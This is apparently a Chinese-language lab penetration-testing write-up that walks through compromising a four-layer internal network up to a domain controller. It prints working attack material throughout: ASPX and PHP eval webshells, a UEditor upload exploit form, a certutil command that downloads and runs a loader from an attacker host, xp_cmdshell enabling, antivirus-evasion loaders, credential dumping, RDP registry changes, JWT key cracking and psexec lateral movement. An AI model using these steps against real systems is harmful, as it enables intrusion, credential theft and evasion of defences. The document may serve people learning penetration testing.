六朝何事,只成门户私计!
目录


环境配置
网络配置
本次实战绘制出来的网络拓扑图如下:

第一层:12server-web1
信息搜集
网站url:

目录扫描

扫到后台地址:

发现有注册功能, 先注册一下尝试能不能登录

注册后成功登录

搜集到的信息
cms:HDHCMS
服务器名称:12SERVER-WEB1
操作系统:MicrosoftWindows NT 6.3.9600.0
中间件:IIIS8.5
脚本语言:aspx
物理路径:C:\Hws.com\HwsHostMaster\wwwroot\www.xxx.com\web\admin\Hdhadmin.aspx
数据库:MSSQL
上传目录:upfiles/
富文本编辑器:百度Ueditor1.4.3
边界突破
在后台发现的富文本编辑器:百度Ueditor1.4.3 ,这个版本爆出过任意文件上传漏洞 , 可以直接拿shell, 进行漏洞验证
访问网上公开的POC,发现报错

很多情况下网站的二次开发会更改默认路径,已经知道了是HDHCMS,去查找其公开的源码,通过源代码的审计 ,得到编辑器路径

之后进行漏洞利用 ,构造一个aspx的图片马
aspx一句话木马:

然后图片马上传到公网服务器上

本地构造一个上传的form表单
<form action="http://www.xxx.com/admin/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>
上传图片马,上传地址修改为:http://192.168.8.198/2.jpg?.aspx

成功上传该文件

访问木马地址

蚁剑连接

whoami查看权限发现是普通用户权限
ipconfig进行信息收集,发现存在内网网段

查看进程:tasklist

进行识别发现存在360全家桶和护卫神

哥斯拉提权
哥斯拉生成1.aspx的木马

生成的木马内容:
<%@ Page Language=“Jscript”%><%eval(Request.Item[“pass”],“unsafe”);%>

成功连接

命令行执行whoami是普通用户权限

进入SweetPotato模块,点击load,点击run,成功提权到system权限

cs拿shell
打开CS,这是个服务器与客户端多对多架构的工具,先开服务端
在Listeners面板中点击Add按钮,新建一个监听器,如图

生成Payload 这里使用Pakages生成一个Payload。在菜单栏中依次选择Attacks→Pakages→Payload Generator命令,如图

保持默认配置,选择已经创建的监听器,设置输出类型为c,注意勾选x64,然后点击Generate按钮, 如图

加壳免杀
使用 cobaltstrike分离免杀工具生成loader.exe文件

过360火绒静态查杀

通过蚁剑上传到C:/Hws.com/HwsHostMaster/wwwroot/www.xxx.com/web/upfiles/image/xxx/目录下

哥斯拉进行提权成功以system权限上线到cs

获取凭据
logonpasswords 获取凭据

查看凭据

破解凭据,得到管理员的账号密码:

远程登陆
查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是关闭的

shell netstat -ano 可以看到没有开放3389端口

打开3389端口

shell netstat -ano 再次查看可以看到3389端口已开放

使用上面得到的管理员的账号密码进行登录

页面显示报错密码过期

通过搜寻资料,了解到密码过期并不是真的过期,可能是开启了仅允许运行使用网络级别身份验证的远程桌面的计算机连接
关闭仅允许运行使用网络级别身份验证的远程桌面的计算机连接
shell REG ADD “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d “0” /f

成功登录

第二层:12server-data1
信息搜集
查看内网第二层网段存活的机器
arp -a 可以看到内网第二层网络还有一台192.168.59.129机器存活

线索发现
通过蚁剑和哥斯拉拿到的shell,查看数据库的配置文件
绝对路径
C:/Hws.com/HwsHostMaster/wwwroot/www.xxx.com/web/HdhApp.config
从源代码中发现是站库分离的,数据库服务器刚好是上面内网第二层网络的192.168.59.129机器

并且判断是1433端口MSSQL数据库的sa权限
<add key="HdhCmsConnStr" value="user id=sa;password=pass123@.com;initial catalog=DemoHdhCms;data source= 192.168.59.129"/>
开代理连数据库

cs服务器的地址和端口

连接数据库

成功连接

开启xp_cmdshell
新建查询,启用xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;EXEC sp_configure 'show advanced options',1;
如下

尝试调用xp_cmdshell运行系统命令
EXEC master…xp_cmdshell ‘ipconfig’;

恢复/删除xp_cmdshell
exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
exec sp_dropextendedproc 'xplog70.dll'
关闭xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0;
RECONFIGURE;
上线cs
查看一下有无杀软tasklist , 发现存在火绒

做一下火绒的免杀 , 尝试上线, 使用windows的certutil命令远程下载文件
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.8.198/loader.exe C:\Windows\Temp\schost.exe';
EXEC master..xp_cmdshell 'C:\Windows\Temp\schost.exe';
漏洞利用:

成功上线cs

如果目标机器出网,可以把木马放到自己的公网服务器上,如果目标机器不出网,只需把木马放到12server-web1上,供其下载
权限提升
使用MS16-075Sweet Potato进行提权

漏洞利用

成功提权

获取凭据
logonpasswords 获取凭据

查看凭据

破解凭据,得到管理员的账号密码:
远程登陆
查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是关闭的

shell netstat -ano 可以看到没有开放3389端口

打开3389端口

shell netstat -ano 再次查看可以看到3389端口已开放

挂上12server-web1的代理,使用上面得到的管理员的账号密码进行登录

成功登录

第三层:12server-web2
信息搜集
查看内网第三层网段存活的机器
arp -a 可以看到内网第二层网络还有一台192.168.22.130机器存活

开代理访问12server-web2
通过12server-data1开代理访问12server-web2

cs服务器的地址和端口

信息搜集
代理端口扫描

目录扫描

访问
http://192.168.22.130/a.php
目录扫描发现报错页面得知为phpstudy_pro

访问80端口的web服务
http://192.168.22.130/

JWT爆破
登录请求中 , 在token中发现jwt认证

jwt的特征就是前两段是base64编码(去掉==),最后一段是秘钥,然后点号拼接
爆破工具 jwt_tool(github直接下载)工具
git clone https://github.com/ticarpi/jwt_tool.git
爆破的命令
python3 jwt_tool.py xxx -C -d xxx.txt
成功爆破出秘钥:xxx is the CORRECT key!

JWT加解密

admin用户签名后的jwt
首先对浏览器代理进行配置

其次对burp进行配置
和浏览器代理同一配置

和代理同一配置

抓取数据包修改X-token

以admin身份登陆进去,之后发现后台什么都没有

phpmyadmin写日志拿shell
根据上面目录扫描的结果得出是phpstudypro,本地搭建测试安装phpmyadmin,找到默认路径phpmyadmin4.8.5
http://192.168.22.130/phpmyadmin4.8.5
root和jwt跑出的key:xxx 登陆

利用phpmyadmin日志
show variables like '%general%';
SET GLOBAL general_log='on'; SHOW VARIABLES LIKE '%general%';
SET GLOBAL general_log_file='C:/phpStudy_pro/www/shell.php';
SELECT '<?php eval($_POST["cmd"]);?>'
写入一句话

蚁剑连接
地址:http://192.168.22.130/shell.php
密码:cmd

ipconfig内网还有其他网段

whoami直接是administrator权限

上线cs
12server-data1设置中转监听

选择内网可以访问到的目标

生成木马,通过蚁剑上传到12server-web2,执行木马

JuicyPotato (ms16-075)

提权

获取凭据
logonpasswords 获取凭据

查看凭据

破解凭据,得到本地管理员的账号密码:
远程连接
挂代理远程连接

成功连接

第四层:12server-data2
信息搜集
net view查看目标

发现内网还有一台12server-data2和一台16server-dc1
查看域管

查看域控详细信息

查看域用户

获取域控NTML

psexec进行横向
有域控的明文密码并且域控是开放445端口的,所以可以尝试psexec进行横向。
使用cs自带插件
首先设置smb监听

从目标出发


上线cs

第四层:12server-dc1
psexec进行横向

上线cs

最终达到的效果如下

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85